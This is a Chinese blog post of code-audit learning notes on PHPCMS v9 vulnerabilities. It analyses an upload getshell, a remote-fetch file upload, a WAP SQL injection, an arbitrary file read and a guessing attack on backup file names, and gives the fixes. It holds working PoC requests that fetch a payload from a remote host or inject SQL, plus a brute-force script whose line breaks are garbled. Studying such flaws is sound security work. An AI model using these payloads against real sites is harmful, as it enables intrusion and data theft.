学习代码审计,自己简单记录一下。如有错误望师傅斧正。

PHPCMS预备知识

PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块或者功能,只有一个统一的入口。

参数名称 描述 位置 备注
m 模型/模块名称 phpcms/modules中模块目录名称 必须
c 控制器名称 phpcms/modules/模块/*.php 文件名称 必须
a 事件名称 phpcms/modules/模块/*.php 中方法名称

PHPCMSV9.2上传Getshell

漏洞复现

我们搭建好环境直接注册,找到修改头像。

)

我们在本地创建一个zip文件里面包含一个文件夹,一个我们的恶意代码。通过Burp修改掉。

访问phpsso_server/uploadfile/avatar/1/1/1/av/av.php 其中1是我们的uid

漏洞分析

重复以上步骤。通过burp我们找到上传事件,我们直接去代码定位这个函数。

然后去代码找到函数直接断点调试

根据用户UID创建文件夹,防止用户多了文件夹重复创建了两次,然后检测目录创建,没有就创建一次,否则跳过。

根据uid重命名我们的压缩包文件

压缩包的文件就是我们上传的压缩包文件

之后进行解压缩文件

之后进入dir中循环判断文件安全,删除压缩包和非jpg图片

走到遍历白名单判断文件,排除.(当前目录)..(上级目录)下图删除了压缩包文件

再次循环时$file=av 而av是目录。unlink是不能删除目录的。所以出现异常。

所以进而我们的恶意文件留在了服务器里面。这就是为什么上面利用的压缩包里的恶意代码文件需要放在目录下

漏洞修复

不使用zip压缩包处理图片文件。因为后端需要处理特别多的数据。

PHPCMSV9.6.0任意文件上传漏洞

漏洞复现

先注册然后抓包

其中要准备一个远程的服务器下的恶意代码

准备我们的POC如下

siteid=1&modelid=11&username=123456&password=123456&email=12345@qq.com&info[content]=<img src=http://192.168.0.100/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=

然后修改放包会报一个错误,会返回我们的URL路径

漏洞分析

我们直接找到刚刚我们的包,他是在index.php进入member模块中的index文件里面有一个register函数

我们现在打开我们的代码定位函数,路径如下

为了更好的理解POC的巧妙。我们正常注册一次然后用POC注册一次分析

前面就是一堆信息的验证作用不大,我们继续跟踪到130行

if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']); //重点 }

在这里我们看见$_POST['info']使用了member_input类中的get方法我们跟踪进去。

走到47行获取了datatime函数,this->fields是一个动态函数对应的一张表根据modelid来确定的formytpe。如下图

【也可以跟进去一步步来,微信搜索黑白天的文章。有详细解释,建议自己跟一遍】

我那们跟进去datatime函数 就是做了一校验然后又返回给$value

然后就是插入两次数据库,一个插入v9_member表一个生日日期和用户id插入到v9_member_detail表中,至此正常流程走完。

接下来我们分析一下POC流程

值得注意的是我们必须保证username email是唯一

然后我们继续定位到130行,发现content是我们的内容

经过new_html_special_chars就是防止XSS 所以实体化

于是我们变成了下面这样子。继续跟踪get方法同上

这里我们获取的是editor函数。

在这个函数中我们有一个download方法

我们跟踪download方法,发现以下关键代码

$ext = 'gif|jpg|jpeg|bmp|png'
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

这就是为什么我们写info[content]=<img src-http://xxxx/phpinfo.txt?.php#.jpg(符合这个格式,而且加.jpg的原因)

到155行这里他把我们的$string值复制给了$matches

$matches [3]刚好是我们的链接,所以真的很巧妙

接着我们跟踪fillurl方法,里面有一串关键代码如下

$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);

strpos定位#,然后使用substr处理?.php#.jpg,处理完之后$surl =?.php继续执行,可以发现返回的url去掉了#后面的内容

然后获取后缀名。然后通过getname方法生成时间+三位数的文件名,如果不返回文件地址的url我们也可以进行爆破处理。

此时进行了copy函数对远程文件下载

这里的$this->upload_func是copy函数的原因,是因为初始化时赋给的

此时我们的文件已经到我们的本地了

接着我们来看看写入文件的路劲是如何返回给我们的。上面程序执行完以后,回到了register 函数中:

继续跟进$this->db->insert($user_model_info); 发现数据库插入的字段都不一样继续执行就会报错。前台提示的信息一样,没有这个字段当然报错

Message : Unknown column 'content' in 'field list'

漏洞修复

在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext获取到的文件后缀再用黑白名单分别过滤一次

$filename = fileext($file);
if(!preg_match("/($ext)/is",$filename) || in_array($filename, array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))){
continue;
}

PHPCMSV9.6.0 WAP模块 SQL注入分析

漏洞复现

首先第一步访问

/index.php?m=wap&c=index&siteid=1

把得到的set-cookie 记录下来

第二步以POST方式访问【下面是测试爆user的】就是一个报错注入语句

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

并且传参userid_flash其中的值就是第一步我们得到的set-cookie

userid_flash=72eciDDbmkE3Tr6LjGQhB3H34p3N1xsgWWbi2VNY

把加密的json值记录下来

第三步以POST的方式访问

/index.php?m=content&c=down&a_k=第二步得到的Json值

漏洞分析

其实我们就是通过最后一次提交的数据来爆出来的东西。我们就逆向分析。看第三步的URL做了些什么

/index.php?m=content&c=down&a_k=第二步得到的Json值

我们定位到content模块down文件中发现并没有a_k方法

说明是自动执行的那就是init()__construct()

__construct()基本没东西,我们直接下断init

走到14行看到sys_auth然后他就是一个加密解密的函数,我们这里不分析加密解密只分析功能

经过sys_auth解密得到

{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}

走到17行发现一个系统函数parse_str 这个函数用不好容易出现变量覆盖。可以自己查一下

我们知道用法了就是把$id给弄出来

然后直接到26行跟踪get_one函数,发现后面就直接执行语句了。

肯定有人现在好奇那第三步为什么会得到这个值,我们返回到14行

$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));

我们怎么得到a_k的值,怎么得到的这个规范进行解密,因为他需要('system','auth_key')我们并不知道

所以我们需要知道谁调用了这个函数

我们回到第二步的POC

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=###payload###&m=1&f=haha&modelid=2&catid=7&

userid_flash=Set-Cookie

我们找到attachment模块下的attachments文件中的swfupload_json函数

src时有一个safe_replace函数我们跟进

发现一个waf所以我们的src为什么要写成%*27的原因,就是为了绕过一次waf

继续到set_cookie我们跟进去发现set_cookie调用了sys_auth这个函数并且进行了ENCODE刚好我们又可以再前台看见

至于我们为什么要传入一个POST值,是在__construct中如果没有这个userid他会showmessage

userid是17行的关键代码。我们肯定没有userid嘛所以三元表达式到第三个,他进行解密一次并且userid=1

$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));

现在POST值是怎么拿到的呢,回到第一步,访问的URL

/index.php?m=wap&c=index&siteid=1

我们周到wap下的index下的siteidsiteid直接就在__construct函数里面,于是经过一次set_cookie加密

我们现在来顺利一下整个过程

修复建议

把$a_k过滤一次,把$id用intval过滤一次

PHPCMS9.6.1任意文件读取

漏洞复现

步骤同上一个漏洞所以就不截图了

第一步访问把得到的set-cookie 记录下来

/index.php?m=wap&c=index&siteid=1

第二步访问

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./phpcms/base%26f%3D.p%25253chp

同样POST传递值

userid_flash=第一步获取的Set-cookie

第三部访问

/index.php?m=content&c=down&a=init&a_k=第二步获取的set-cookie

就可以下载我们要下载的文件

漏洞分析

我们还是和wap_SQL注入那样逆向分析一下

/index.php?m=content&c=down&a=init&a_k=set-cookie

经过解密之后

{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=.\/phpcms\/base&f=.p%253chp","filename":""}

经过safe_replace处理之后

&quotaid&quot:1,&quotsrc&quot:&quotpad=x&i=1&modelid=1&catid=1&d=1&m=1&s=./phpcms/base&f=.p%253chp&quot,&quotfilename&quot:&quot&quot

但是我们关键的是&s和&f没有任何变化

再经过parse_str处理我们的url会被解码一次

$f现在就是.p%3cphp

然后downurl发生变化我们点击下载到download函数

经过一次解密再经过parse_str转码%3c=> <

走到118行因为传递的m=1经过$fileurl把他拼接起来变成

.\phpcms\base.p<hp
if($m) $fileurl = trim($s).trim($fileurl);  //118行代码

然后走到125行进行随机名称生成,126行他又把$fileurl的<给去掉了

$filename = date('Ymd_his').random(3).'.'.$ext;      //125
$fileurl = str_replace(array('<','>'), '',$fileurl); //126

然后就进行一个原始下载。

第二部分和第一部分参考上面wap_sql注入,原理一样。我们现在梳理一下这个漏洞。

从最下面分析,他过滤了<> 然后到上面php等一些黑名单 那就P<HP就可以

$fileurl是通过$s来的和$f来的。而$f和$s是通过构造$a_k来的,其中就DECODE 了两次

所以要通过siteid=1来进行ENCODE一次。我们为什么要传一个userid_flash

因为attachments下的析构函数中的userid不能为空

而我们没登陆所以需要sys_auth($_POST['userid_flash'],DECODE')解密一下传入的userid_flash使得userid=1

$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] :(param::get_cookie('_userid') ? param::get_cookie('_userid') :sys_auth($_POST['userid_flash'],'DECODE'));

又经过set_cookie('att_json',$json_str);然后又返回到前台set-cookie

最终通过以下方法进行了下载

index.php?m=content&c=down&a=init&a_k=set-cookie

漏洞修复

官方V9.6.2是先过滤<>再进行php等黑名单过滤,我们还是可以继续通过空白字符来进行绕过的

%81-%99间的字符是不会被trim去掉的且在windows中还能正常访问到相应的文件。并且得到auth_key之后还可以进行其他的操作例如SQL注入等

PHPCMSV9暴力猜解数据库

备份路径 \caches\bakup\default\xxxx.sql

而问题出现在哪,我们先看POC。

poc:
/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/s<<.sql

原因:

windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。

pwaaov0zodprrm5371pe_db_20210715_1.sql

file_exists --- opendir -- FindFirstFile -- << 通配符

file_exists - << 通配符

333xxxx.sql

3<<.sql

file_exists(3<<.sql)

因为返回的只不同所以我们可以逐个猜解

附上斗鱼Sec脚本

#!/usr/bin/env python
# coding=utf-8
'''
author: dysec
'''
import urllib2
def check(url):
mark = True
req = urllib2.Request(url)
req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')
response = urllib2.urlopen(req)
content = response.read()
if 'Cannot' in content:
mark = False
return mark
def guest(target):
arr = []
num = map(chr, range(48, 58))
alpha = map(chr, range(97, 123))
exploit = '%s/api.php?op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'
while True:
for char in num:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue if len(arr) < 20:
for char in alpha:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue elif len(arr) == 20:
arr.append('_db_') elif len(arr) == 29:
arr.append('_1.sql')
break if len(arr) < 1:
print '[*]not find!'
return print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr)) if __name__ == "__main__":
url = 'http://www.x.com'
#test
guest(url)

PHPCMSV9版本代码审计学习的更多相关文章

  1. bluecms v1.6 sp1 代码审计学习

    前言 正式开始代码审计的学习,拓宽自己的知识面.代码审计学习的动力也是来自团队里的王叹之师傅,向王叹之师傅学习. 这里参考了一些前辈,师傅的复现经验和bluecms审计的心得 安装 install.p ...

  2. blfs(systemd版本)学习笔记-构建gnome桌面系统

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 大概思路: lfs(系统)+xorg(驱动)+gnome(桌面组件) 链接: lfs(systemd版本)学习笔记系列:http ...

  3. lfs(systemd版本)学习笔记-第3页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd)学习笔记-第2页 的地址:https://www.cnblogs.com/renren-study-no ...

  4. lfs(systemd版本)学习笔记-第4页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd版本)学习笔记-第3页 的地址:https://www.cnblogs.com/renren-study- ...

  5. blfs(systemd版本)学习笔记-总页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd版本)学习笔记:https://www.cnblogs.com/renren-study-notes/p/ ...

  6. lfs(systemd版本)学习笔记-第1页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 一名linux爱好者,记录构建Linux From Scratch的过程 经博客园-骏马金龙前辈介绍,开始接触学习lfs,用博客 ...

  7. lfs(systemd版本)学习笔记-第2页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd)学习笔记-第1页 的地址:https://www.cnblogs.com/renren-study-no ...

  8. blfs(systemv版本)学习笔记-制作一个简单的桌面系统

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 大概思路: lfs(系统)+xorg(驱动)+i3-wm(窗口+桌面)+lightdm(显示管理器+登录管理器) 链接: lfs ...

  9. lfs(systemv版本)学习笔记-第4页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemv版本)学习笔记第3页:https://www.cnblogs.com/renren-study-notes ...

随机推荐

  1. MIPS指令的CPU实现:ALU设计

    设计CPU的第一步,设计一个简单的逻辑运算单元ALU.同时对Verilog语言也有一定要求. 一.实验内容 如图,ALU接受两个N位的输入,得到N位的输出,通过控制信号F决定运算功能. 将ALU的输出 ...

  2. 关于一类docker容器闪退问题定位

    背景:正在学习docker期间,接到一个任务,通过docker部署一个应用A.该应用A类似于之前部署的应用B,结果很自然地犯了形而上学的错误. 思路:基于dockerfile+docker-compo ...

  3. Could not get JDBC Connection排查

    最近在维护的一个比较旧的项目,发现总是隔一段时间JDBC就报错: Could not get JDBC Connection; nested exception is org.apache.commo ...

  4. ELK搭建-windows

    一.E 二.L 启动 三.K 四.filebeat 五.配置文件使用 1.logstash-sample.conf # Sample Logstash configuration for creati ...

  5. GO文件读写03---使用缓冲读写实现视频文件的拷贝

    package main import ( "bufio" "fmt" "io" "os" ) /* ·使用缓冲读写实现 ...

  6. ALD技术产品形态

    ALD技术产品形态 原子层沉积研究设备 TFS 200是适合科学研究和企业研发的最灵活的ALD平台.倍耐克 TFS 200专门设计用于多用户研究环境中把可能发生的交叉污染降至最低. 大量的可用选项和升 ...

  7. CVPR2020 论文解读:少点目标检测

    CVPR2020 论文解读:具有注意RPN和多关系检测器的少点目标检测 Few-Shot Object Detection with Attention-RPN and Multi-Relation ...

  8. Torchvision模型微调

    Torchvision模型微调 本文将深入探讨如何对 torchvision 模型进行微调和特征提取,所有这些模型都已经预先在1000类的magenet数据集上训练完成.将深入介绍如何使用几个现代的C ...

  9. MAML-Tracker: 目标跟踪分析:CVPR 2020(Oral)

    MAML-Tracker: 目标跟踪分析:CVPR 2020(Oral) Tracking by Instance Detection: A Meta-Learning Approach 论文链接:h ...

  10. MindSpore算子支持类

    MindSpore算子支持类 Q:在使用Conv2D进行卷积定义的时候使用到了group的参数,group的值不是只需要保证可以被输入输出的维度整除即可了吗?group参数的传递方式是怎样的呢? A: ...